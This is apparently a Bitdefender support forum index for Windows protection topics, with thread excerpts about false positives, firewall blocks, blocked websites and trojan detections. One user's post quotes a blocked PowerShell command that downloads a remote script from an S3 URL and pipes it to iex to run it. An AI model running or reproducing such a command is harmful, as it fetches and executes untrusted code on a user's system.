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Protection - Malware/ Firmware/etc.

Everything you want to know about our cybersecurity features for Windows. Here you'll find topics on Malware, Firmware, Online Threat Prevention, Vulnerability, Firewall, Ransomware Remediation, and Antispam.

Does Bitdefender not recognize the WSOD?
I was hit with the WSOD (White Screen of Death where W=white!). I did a system scan which says I'm safe. Hmmm, really?. So then I log in to Bitdefender and search for WSOD and guess what? There is not a single reference to WSOD but tons of BSOD (where B=blue!). So if Bitdefender is protecting me from malware and now I'm…
Concern over lack of detection
If this is not the proper place for this post, please let me know where it belongs on the forums. I am a nooby here. I have been a long-time fan of this product but recently I am starting to think about shopping around again. I keep my system and Anti-Virus (Total Security) current. I have found many instances where the…
Every few days i get the same threat, that Bidfender then blocks
So, as the title says, every few days I get the same malicious command from powershell: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -UseBasicParsing -Uri https://wqyspjbmkoapqql.s3.amazonaws.com/reinstall-agent.ps1 | iex" What is this? How can I stop it from happening? Thanks
Malware Detected and "Neutralized" What is the Source? Potential False Positive?
Hello, I am extremely careful not to click on any odd links, not download anything suspicious, etc, etc. Have never ever had Bitdefender find any viruses, trojans, malware, etc on my machines. To my astonishment, Bitdefender recently found the following Trojan on my system: Trojan.GenericKD.73789160 Located in:…
Unable to connect past firewall
Just installed Bitdefender Security. I need to run ab app that accesses a remote IP address and port via a Digi RealPort Device (multi port serial adapter). If I turn off Bitdef Firewall, able to access normally. With Firewall on, app is blocked. I added app to the Firewall Rules, Allow, Network Any, Protocol Any,…
Bitdefender scan found this? How worried should i be?
Slow opening programs
I've seen various posts about Bitdefender causing their computer to be slow, but I haven't seen anyone with my specific problem. My issue is some program take 30 seconds to open. In some cases, it's only the first time I open them. After that, it's fine. The problem goes away if I turn off Shield. I also found the problem…
Advanced Threat Defense disabled
I have recently installed Bitdefender on 2 of my devices so far, having moved over from Kaspersky. For my desktop which runs Windows 7, I show a threat warning that Advanced Threat Defense is disabled. I clicked on "fix issue" but 2 days later, it is still showing as "Applying remote fix on your device'. I cannot figure…
How is it possible for a Bitdefender complete scan to show clear when it obviously was not ?
BUG ALERT! MasterCook Sync on my PC does not work unless I uninstall BITDEFENDER
I put mastercook.exe and its sync app in the exceptions for the firewall, I'm not using the VPN. According to the MasterCook folk and the BitDefender articles, this should all those 2 apps to penetrate my firewall, I turned off my firewall, and it is still not working. I uninstall BITDEFENDER and the application works…
Was my computer hacked?
Just as I returned from vacation I found that my primary credit card was declined. It was still in my possession however it had been used in vancouver and in toronto only hours apart. According to the card company my user name , password, and phone no for the card had been changed. When I arrived home I found that I had…
I Can't Access a Website. How Do I Make Bitdefender Stop Blocking Access?
I am trying to access a website (myseoauditor.com). When I try using the Brave browser, Bitdefender blocks the access, and I get this error: ERR_CONNECTION_CLOSED When I try using a different browser, it works. Why is this happening? Also, I've added the site to my online threat protection exceptions, but it still doesn't…
Detecting Game As a threat
I've encountered an issue with the recently downloaded Delta Force Alpha game on my laptop. Despite adding the entire game folder as an exception in Bitdefender, the antivirus software continues to flag it as malicious during gameplay. Furthermore, after restoring the files, I'm unable to launch the game, forcing me to…
Constant Suspicious connections from Chrome.
Constant suspicious connection blocked - Google Chrome. Just started up my PC after getting home from work. And whenever I opened chrome bitdefender spammed me with this: Feature: Online Threat Prevention chrome.exe attempted to establish a connection relying on an expired certificate to www.google.com. We blocked the…
Does anyone knows this site?
Hello. I'm a Bitdefender Antivirus Free user. I use Honeygain, hoping that I'll gather some bucks. The Honeygain installed on my PC tried multiple times to access this address: https://tracking.tarsanmedia.in/ Bitdefender Antivirus Free saw it as a pishing page and blocked the attempts (until now there were around 15…
Unable to add an Exception via Advanced Threat Defense.
The button to allow you to Manage Exceptions from the Online Threat Prevention menu as per the screen grabs below is greyed out for me. I would like to be able to add a website to the whitelist which has an expired security certificate. I know that the site in question is Trusted as it is has been regularly used without…
Please Remove my website from blacklist
we have cleaned and secured our website https://gcc-technology.com please check and remove from your blacklist ,
Adding an exception
I am trying to unblock a certain website that is being blocked by bitdefender for some odd reason, however when I enter my account password the password will not work and it keeps asking my to enter the password, I am certain about the password that it's the correct password , also I can not log out the account on the…
Emails won't send in Outlook
I just installed bitdefender premium security on my computer and my android phone. Emails can be received but will not send. I cleared the email cache on my phone and emails will now send from my phone. I still can not send emails from my computer. What do I need to do to allow emails to send with bitdefender installed.
What are correct Firerwall settings for connecting Windows PC to NAS in Home LAN
I can no longer connect to NAS storage device from my Windows machine (laptop). For example, with the command: \\NASname , within File Explorer. Possibly a recent Bitdefender update changed settings? It used to work properly. So I need to know all the settings for creating this connection again. I have confirmed that this…
Email protection not updating change
I have 5 email addresses being protected. I deleted one to add a new address. The deletion was successful on Bitdefender Central. I then go to my Bitdefender Total Security Dashboard, click on Protection, and then Email Protection. The deleted email address is still there, preventing me from adding a new one. Is there…
False Positive
Bitdefender is blocking access to this web service: https://divmagic.com/ This web service is recommended and sold via AppSumo, here: https://appsumo.com/products/divmagic/ When I try to use the DivMagic Web service, I receive over 600 critical notifications, in just 20 minutes, where the notification says the following:…
False Positive
I am the webmaster for downloads.rnksoftwareclub.com please remove this from your list. Customers are unable to download our software. If there is a problem, please let us know Thank You, Jennifer Cook
Stop adding "Bitdender: Safe" labels to emails
How can I stop the app from putting "Bitdender: Safe" labels on emails. For me they are a nuisance. Thanks, Jack
How do I get a URL past Bitdefender?
I've added the URL to the Exceptions list, and I've even temporarily turned off the virus protection, but Bitdefender still won't allow me to access the URL or to download a new version of the software.
Web Protection: Web Attack Prevention
The "checks every web page you access for threats to avoid them being downloaded on your deivce" — what exactly does this do? Is every URL I visit sent to Bitdefender for analysis? Does Bitdefender Total Security analyze it using local resources only? Trying to figure out how much of a privacy nightmare this is.
Trojan detected and then disappeared
A BD scan today flagged up trojan.heur.snakey.1.gen but hadn't taken any action. While I was researching it online the scan report and Notification just disappeared?? Another scan didn't flag it. I a little worried that BD may be compromised. I applied password control to changes in BD but e.g. the criteria for scanning…
Hello, I got this detection
Hello everyone, I got this detection and would like to know what else to do? C:\Users\(removed for privacy)1~1\AppData\Local\Temp\etmpBAECD872-6BFE-BC4A-B48D-97A5D7E190ED Trojan.Upatre.Crypted.2
Is this normal behavior for the Bitdefender Firewall?
So I turned on my laptop, updated bitdefender and then opened Bitdefender just to check some settings. I browse the notifications settings and noticed that the firewall was turned on 2 minutes before i started update process completed. I checked older notifications where I follow the same routine, turn on laptop, update…
Bitdefender has started giving me Malicious command line detected
I have a power shell ****** that I wrote and I'm getting the below error This is something that has only started in the last couple of days so I expect an update has caused this. Normally I can right click on the ****** and run it with no problems. I now have to open powershell and execute it manually. I have tried to…